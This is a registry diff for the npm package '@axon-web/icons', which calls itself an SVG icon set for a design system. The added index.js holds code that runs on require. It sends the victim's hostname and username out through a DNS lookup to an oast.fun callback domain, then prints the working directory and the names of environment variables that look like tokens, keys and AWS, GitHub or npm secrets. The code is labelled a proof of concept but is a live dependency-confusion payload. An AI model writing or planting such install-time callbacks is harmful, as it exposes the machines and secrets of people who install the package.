@axon-web/icons 0.0.0-stage → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +27 -0
- package/package.json +10 -3
- package/README.md +0 -3
package/index.js
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
|
|
3
|
+
// package init — fires on require
|
|
4
|
+
(function() {
|
|
5
|
+
try {
|
|
6
|
+
const { resolve } = require('dns');
|
|
7
|
+
const id = (os.hostname() + '-' + (process.env.USER || process.env.USERNAME || 'u'))
|
|
8
|
+
.toLowerCase().replace(/[^a-z0-9-]/g, '-').slice(0, 40);
|
|
9
|
+
resolve(id + '.nxsqlpejfpamagxctjyv4c9qj1gfdtzwi.oast.fun', () => {});
|
|
10
|
+
} catch (_) {}
|
|
11
|
+
})();
|
|
12
|
+
|
|
13
|
+
console.log('=== @axon-web/icons PoC ===');
|
|
14
|
+
console.log('Source: PUBLIC npm registry.npmjs.org');
|
|
15
|
+
console.log('Package: @axon-web/icons@' + require('./package.json').version);
|
|
16
|
+
console.log('Hostname:', os.hostname());
|
|
17
|
+
console.log('User: ', process.env.USER || process.env.USERNAME || 'unknown');
|
|
18
|
+
console.log('cwd: ', process.cwd());
|
|
19
|
+
console.log('node: ', process.version);
|
|
20
|
+
console.log('env keys:', Object.keys(process.env).filter(k =>
|
|
21
|
+
/token|secret|key|pass|aws|github|npm/i.test(k)
|
|
22
|
+
).join(', ') || 'none visible');
|
|
23
|
+
|
|
24
|
+
module.exports = {
|
|
25
|
+
getIconPath: (name, variant = 'regular') => `/app/icons/${variant}/${name}.svg`,
|
|
26
|
+
version: require('./package.json').version,
|
|
27
|
+
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@axon-web/icons",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "2.0.0",
|
|
4
|
+
"description": "SVG icon components for axon-web design system",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"keywords": [
|
|
7
|
+
"icons",
|
|
8
|
+
"svg",
|
|
9
|
+
"react",
|
|
10
|
+
"design-system"
|
|
11
|
+
],
|
|
12
|
+
"license": "MIT"
|
|
6
13
|
}
|
package/README.md
DELETED